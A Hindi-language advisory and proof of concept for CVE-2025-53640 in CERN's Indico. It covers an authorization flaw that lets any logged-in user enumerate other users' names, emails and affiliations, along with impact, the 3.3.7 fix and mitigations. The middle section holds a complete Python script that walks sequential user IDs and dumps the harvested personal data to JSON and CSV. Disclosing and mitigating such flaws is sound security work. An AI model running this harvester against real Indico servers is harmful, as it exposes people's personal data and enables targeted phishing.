
CERN के Indico में Broken Object Level Authorization (BOLA) प्रमाणित उपयोगकर्ताओं की गणना की ओर ले जाता है।
CVE-2025-53640 का PoC और तकनीकी विश्लेषण: Indico में एक Broken Object Level Authorization (BOLA) भेद्यता जो एंडपॉइंट के माध्यम से प्रमाणित उपयोगकर्ता गणना को सक्षम करती है, नाम, ईमेल और संबद्धता उजागर करती है। इसमें शोषण स्क्रिप्ट, अनुरोध विश्लेषण और स्क्रीनशॉट शामिल हैं। वैश्विक रूप से तैनात Indico उदाहरणों को प्रभावित करता है (यूरोपीय परमाणु अनुसंधान संगठन (CERN), संयुक्त राष्ट्र (UN), मैसाचुसेट्स इंस्टीट्यूट ऑफ टेक्नोलॉजी (MIT), यूरोपीय अंतरिक्ष एजेंसी (ESA), और अन्य)।
ओपन-सोर्स एप्लिकेशन Indico में एक Broken Object Level Authorization (BOLA) भेद्यता एंडपॉइंट के माध्यम से बड़े पैमाने पर उपयोगकर्ता गणना की अनुमति देती है। मूल रूप से विशिष्ट फॉर्म फ़ील्ड में उपयोगकर्ता आईडी को हल करने के लिए डिज़ाइन किया गया, इस एंडपॉइंट का दुरुपयोग किसी भी मान्य उपयोगकर्ता आईडी की व्यक्तिगत जानकारी प्राप्त करने के लिए किया जा सकता है:
पूरा नाम
ईमेल पता
शीर्षक
संबद्धता
अवतार URL
यह भेद्यता Indico के अनुरक्षकों द्वारा रिपोर्ट और स्वीकार की गई थी, और आधिकारिक तौर पर CVE-2025-53640 के रूप में ट्रैक की जाती है।
एक मान्य प्रमाणित सत्र की आवश्यकता होती है।
हालांकि, अधिकांश सार्वजनिक Indico उदाहरण बिना ईमेल सत्यापन, CAPTCHA, या मैन्युअल अनुमोदन के स्व-पंजीकरण की अनुमति देते हैं।
यह भेद्यता को तुच्छ खाता निर्माण के बाद अप्रमाणित उपयोगकर्ताओं द्वारा व्यावहारिक रूप से शोषणीय बनाता है।
Indico CERN (यूरोपीय परमाणु अनुसंधान संगठन) द्वारा विकसित एक व्यापक रूप से अपनाया जाने वाला ईवेंट और सम्मेलन प्रबंधन प्लेटफॉर्म है, जो विश्व स्तर पर शैक्षणिक और संस्थागत बुनियादी ढांचे को शक्ति प्रदान करता है:
CERN (यूरोपीय परमाणु अनुसंधान संगठन): सालाना 900,000 से अधिक ईवेंट; प्रतिदिन 200+ कमरे बुक होते हैं।
विश्वव्यापी: 300+ संस्थानों में लगभग 145,000 ईवेंट/वर्ष।
UN (संयुक्त राष्ट्र): प्रति वर्ष 180,000 से अधिक प्रतिभागी।
UNOG (जिनेवा में संयुक्त राष्ट्र कार्यालय): प्रति वर्ष 700,000 उपयोगकर्ता तक।
विश्वविद्यालयों, प्रयोगशालाओं, अनुसंधान संस्थानों और सरकारी एजेंसियों द्वारा व्यापक रूप से उपयोग किया जाता है।
प्रभावित सार्वजनिक उदाहरणों के उदाहरण:
वैज्ञानिक, शैक्षणिक और सरकारी वातावरणों में इसके व्यापक उपयोग के कारण, यह भेद्यता गंभीर जोखिम पैदा करती है:
शोधकर्ताओं, कर्मचारियों और प्रशासकों की पहचान का रिसाव
बड़े पैमाने पर गोपनीयता उल्लंघन और संस्थागत निर्देशिका एक्सपोजर
फ़िशिंग या सोशल इंजीनियरिंग के लिए लक्षित टोही
संवेदनशील शोध और नीति पहलों का संभावित समझौता
व्यक्तिगत डेटा (PII) का प्रकटीकरण
उच्च-विशेषाधिकार उपयोगकर्ताओं (प्रशासक, आयोजक) की गणना
सामूहिक फ़िशिंग और भाला-फ़िशिंग संचालन का समर्थन करता है
GDPR, LGPD और आंतरिक संस्थागत नीतियों जैसे नियमों का उल्लंघन करता है
अधिकार क्षेत्र के आधार पर एक रिपोर्टेबल उल्लंघन का गठन कर सकता है
यह समस्या Indico v3.3.7 में ठीक की गई थी। अनुरक्षकों के अनुसार, एंडपॉइंट के व्यवहार को पूर्वानुमेय आईडी के माध्यम से बल्क में उपयोगकर्ता डेटा (नाम, संबद्धता और ईमेल) डंप करने से रोकने के लिए समायोजित किया गया था। एक नया कॉन्फ़िगरेशन फ़्लैग ALLOW_PUBLIC_USER_SEARCH भी पेश किया गया।
अतिरिक्त शमन में शामिल हैं:
पंजीकरण ईमेल जांच को प्रतिबंधित करना
सार्वजनिक खोज अक्षम होने पर व्यक्ति लिंक रिज़ॉल्यूशन को अक्षम करना
प्रतिबंधित खोज के तहत बिना ACL वाले ईवेंट के लिए UI चेतावनियाँ जोड़ना
#!/usr/bin/env python3
import requests
import json
import csv
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
url = "https://indico.<URL>/api/principals"
headers = {
"Cookie": "indico_session=YOUR_SESSION_COOKIE_HERE",
"Content-Type": "application/json",
"X-Csrf-Token": "YOUR_CSRF_TOKEN_HERE"
}
def enumerate_users(max_errors=10):
user_id = 1
errors = 0
results = []
while errors < max_errors:
payload = {"values": [f"User:{user_id}"]}
response = requests.post(url, headers=headers, data=json.dumps(payload), verify=False)
if response.status_code == 200:
data = response.json()
key = f"User:{user_id}"
if key in data and not data[key].get("invalid", True):
user = data[key]
print(f"[+] ID {user_id}: {user['first_name']} {user['last_name']} - {user['email']}")
results.append({
"user_id": user_id,
"name": f"{user['first_name']} {user['last_name']}",
"email": user["email"],
"affiliation": user["affiliation"],
"title": user["title"],
"avatar_url": user["avatar_url"]
})
errors = 0
else:
print(f"[-] ID {user_id}: Invalid")
errors += 1
else:
print(f"[!] ID {user_id}: HTTP Error {response.status_code}")
errors += 1
user_id += 1
with open("enumerated_users.json", "w", encoding="utf-8") as jf:
json.dump(results, jf, indent=2, ensure_ascii=False)
with open("enumerated_users.csv", "w", newline="", encoding="utf-8") as cf:
writer = csv.DictWriter(cf, fieldnames=["user_id", "name", "email", "affiliation", "title", "avatar_url"])
writer.writeheader()
writer.writerows(results)
print("Enumeration finished.")
if __name__ == "__main__":
enumerate_users()
रोल या संदर्भ के आधार पर एंडपॉइंट तक पहुंच प्रतिबंधित करें
indico.conf में ALLOW_PUBLIC_USER_SEARCH = false सेट करें
उजागर उपयोगकर्ता फ़ील्ड को केवल आवश्यक तक सीमित करें
स्व-पंजीकरण अक्षम या प्रतिबंधित करें (जैसे ईमेल सत्यापन, व्यवस्थापक अनुमोदन)
एंडपॉइंट पर निगरानी और दर-सीमा सक्षम करें
तुरंत Indico 3.3.7 या नए में अपग्रेड करें
गणना पैटर्न के लिए एक्सेस लॉग की निगरानी करें
आधिकारिक आईडी: CVE-2025-53640
यह भेद्यता RNP (राष्ट्रीय शिक्षा और अनुसंधान नेटवर्क – ब्राजील) में रेड टीम रेजीडेंसी प्रोग्राम के भाग के रूप में आयोजित सुरक्षा मूल्यांकन के दौरान खोजी गई थी।
सभी शोध और परीक्षण पूर्व प्राधिकरण और पर्यवेक्षण के साथ किए गए थे। नैतिक मार्गदर्शन और बुनियादी ढांचा सहायता प्रदान करने के लिए RNP सुरक्षा टीम का विशेष धन्यवाद।
यह CVE संवेदनशील संस्थागत डेटा प्रबंधित करने वाले प्लेटफार्मों में सख्त ऑब्जेक्ट-स्तरीय एक्सेस नियंत्रण लागू करने के महत्व को रेखांकित करता है।